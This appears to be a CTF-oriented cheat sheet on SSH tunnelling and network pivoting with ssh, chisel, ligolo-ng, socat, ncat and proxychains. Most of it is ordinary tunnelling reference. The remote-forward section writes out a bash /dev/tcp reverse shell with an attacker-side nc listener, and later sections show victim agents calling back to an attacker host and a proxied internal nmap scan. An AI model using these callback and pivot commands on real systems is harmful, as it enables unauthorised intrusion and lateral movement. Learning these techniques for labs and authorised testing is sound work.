# Syntax: -L [bind:]local_port:remote_host:remote_port ssh -L 8080:target:80 user@jumpbox # Access internal service through jump host ssh -L 8080:192.168.1.10:80 user@public-server # → curl http://localhost:8080 → hits 192.168.1.10:80 # Bind to all interfaces (share with team) ssh -L 0.0.0.0:8080:192.168.1.10:80 user@server # Multiple forwards in one connection ssh -L 8080:internal:80 -L 3306:db:3306 user@jump # No shell — tunnel only (-N) + background (-f) ssh -fNL 8080:internal:80 user@jump # CTF use case: expose CTF challenge internal service ssh -L 4444:localhost:4444 ctf@challenge-host
# Reach internal web service ssh -L 8080:127.0.0.1:80 user@target curl http://localhost:8080/flag # Reach internal database ssh -L 5432:db-host:5432 user@jump psql -h localhost -p 5432 -U ctf # Forward a pwn challenge port ssh -L 1337:localhost:1337 ctf@server nc localhost 1337 # or: python solve.py (connects to localhost:1337) # Keep alive options ssh -o ServerAliveInterval=60 \ -o ServerAliveCountMax=3 \ -fNL 8080:internal:80 user@jump
# Syntax: -R [bind:]remote_port:local_host:local_port ssh -R 4444:localhost:4444 user@attacker # Victim machine tunnels attacker's port back # Attacker listens on 4444 ← victim connects # Expose local service to remote server ssh -R 8080:localhost:80 user@vps # → anyone on vps can reach http://vps:8080 → your local:80 # Reverse shell: target machine calls back # On target: ssh -R 9001:localhost:9001 user@attacker # On attacker: nc -lvnp 9001 # On target: bash -i >& /dev/tcp/localhost/9001 0>&1 # Allow remote side to bind non-loopback (sshd config) # GatewayPorts yes ← in /etc/ssh/sshd_config
# Create SOCKS5 proxy through jump host ssh -D 1080 user@jumpbox ssh -fND 1080 user@jumpbox # background, no shell # All traffic routed through jump host # Configure browser/tool to use SOCKS5 at 127.0.0.1:1080 # curl through SOCKS5 curl --socks5 127.0.0.1:1080 http://internal-host/flag # wget through SOCKS5 export http_proxy=socks5://127.0.0.1:1080 wget http://internal-host/flag # Use with proxychains (see below) # proxychains nmap, proxychains curl, etc.
# Jump through multiple hosts (-J ProxyJump) ssh -J user@jump1 user@internal-host # Two hops ssh -J user@jump1,user@jump2 user@target # Local forward through 2 jumps ssh -J user@jump1 -L 8080:internal:80 user@jump2 # ~/.ssh/config for convenience Host internal HostName 192.168.1.100 User ctf ProxyJump user@jumpbox LocalForward 8080 127.0.0.1:80 # Then just: ssh internal # auto-uses proxy
| Flag | Effect |
|---|---|
| -N | No shell (tunnel only) |
| -f | Background after auth |
| -v / -vv / -vvv | Verbose (debug connection) |
| -i keyfile | Use private key |
| -p port | Non-default SSH port |
| -o StrictHostKeyChecking=no | Skip host key check (CTF) |
| -o UserKnownHostsFile=/dev/null | Discard host key |
| -q | Quiet mode |
| -4 / -6 | Force IPv4 / IPv6 |
| -T | Disable pseudo-TTY |
# List SSH processes ps aux | grep ssh # Kill background tunnel kill $(pgrep -f "ssh -fN") # Check what's listening ss -tlnp | grep 8080 netstat -tlnp | grep 8080 # SSH escape sequences (inside active SSH session) ~C # open command line to add port forward live ~C -L 8080:internal:80 # add local forward mid-session ~. # disconnect ~? # list all escape sequences
# chisel: TCP tunnel over HTTP (when SSH blocked) # https://github.com/jpillora/chisel # Install go install github.com/jpillora/chisel@latest # or download binary from releases # Server side (attacker/VPS) chisel server --port 8080 --reverse # Client side (victim / pivot host) chisel client attacker:8080 R:9001:localhost:9001 # R: = reverse tunnel (victim exposes its port to attacker) # Local forward (attacker → internal) chisel client attacker:8080 5432:internal-db:5432 # SOCKS proxy via chisel chisel server --port 8080 --reverse chisel client attacker:8080 R:socks # → SOCKS5 on attacker:1080
# ligolo-ng: transparent network pivoting # https://github.com/nicocha30/ligolo-ng # On attacker: start proxy sudo ip tuntap add user $USER mode tun ligolo sudo ip link set ligolo up ./proxy -selfcert # On victim: connect agent ./agent -connect attacker:11601 -ignore-cert # In ligolo proxy shell: session # select session start # start tunnel # Then add route on attacker: sudo ip route add 192.168.1.0/24 dev ligolo # Now directly access internal network! curl http://192.168.1.10/flag
# socat: relay traffic between ports # Forward local port to remote host:port socat TCP-LISTEN:8080,fork TCP:internal:80 # With TCP4 (IPv4 explicit) socat TCP4-LISTEN:8080,fork,reuseaddr TCP4:internal:80 # UDP relay socat UDP-LISTEN:5353,fork UDP:dns-server:53 # Relay with file logging socat -v TCP-LISTEN:8080,fork TCP:internal:80 # Chain: local → socat → SSH → target socat TCP-LISTEN:8080,fork \ EXEC:"ssh -W internal:80 user@jump"
# Simple nc relay (Linux with named pipe) mkfifo /tmp/relay nc -lvnp 8080 < /tmp/relay | nc internal 80 > /tmp/relay # Simpler with ncat (supports --sh-exec) ncat -lvnp 8080 --sh-exec "ncat internal 80" # Relay for pwn challenge # If challenge is localhost:1337 on a remote box: ssh user@remote -L 1337:localhost:1337 # Then: python3 solve.py → connects to localhost:1337 # ncat SSL relay ncat --ssl -lvnp 443 --sh-exec "ncat internal 80"
# /etc/proxychains4.conf (or ~/.proxychains/proxychains.conf) strict_chain proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 [ProxyList] socks5 127.0.0.1 1080 # SSH dynamic forward # Run any tool through the proxy proxychains curl http://internal-host/flag proxychains nmap -sT -Pn 192.168.1.0/24 # TCP scan only proxychains psql -h 192.168.1.5 -U postgres proxychains python3 solve.py proxychains ssh user@internal-host # Quiet mode (no output noise) proxychains -q curl http://internal/flag # Dynamic chain (try each proxy, skip dead ones) # Change strict_chain → dynamic_chain in config # Multiple proxies (chained) socks5 127.0.0.1 1080 # SSH -D tunnel socks5 127.0.0.1 1081 # second hop
-L local:remote reach internal via jump
· -R remote:local expose local to remote
· -D 1080 SOCKS proxy through jump
· -J jump1,jump2 multi-hop
· -fN background tunnel only
· chisel when SSH blocked
· socat TCP-LISTEN:X,fork TCP:host:Y relay
· proxychains curl route tools through SOCKS